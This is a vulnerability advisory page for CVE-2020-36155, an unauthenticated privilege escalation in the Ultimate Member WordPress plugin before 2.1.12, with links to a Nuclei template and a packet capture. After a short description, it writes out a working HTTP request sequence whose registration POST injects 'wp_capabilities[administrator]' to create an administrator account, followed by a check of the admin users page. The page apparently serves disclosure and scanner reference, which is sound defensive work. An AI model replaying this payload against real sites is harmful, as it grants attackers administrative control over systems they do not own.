CVE-2020-36155: Ultimate Member < 2.1.12 - Unauthenticated Privilege Escalation via User Meta

🔍 Vulnerability Description

An issue was discovered in the Ultimate Member plugin before 2.1.12 for WordPress, aka Unauthenticated Privilege Escalation via User Meta. An attacker could supply an array parameter for sensitive metadata, such as the wp_capabilities user meta that defines a user’s role. During the registration process, submitted registration details were passed to the update_profile function, and any metadata was accepted, e.g., wp_capabilities[administrator] for Administrator access.

🌐 HTTP Request

GET /register/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Accept-Encoding: gzip

POST /register HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 299
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user_login-VPbv6S=pavwi&first_name-VPbv6S=CUbEu&last_name-VPbv6S=HCdwb&user_email-VPbv6S=bpWHIi@BWbcO.com&user_password-VPbv6S=8bpwtszG&confirm_user_password-VPbv6S=8bpwtszG&wp_capabilities%5Badministrator%5D=&form_id=VPbv6S&timestamp=1768394637&um_request=&_wpnonce=eh4g60&_wp_http_referer=register

GET /wp-admin/users.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-36155.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-36155.pcap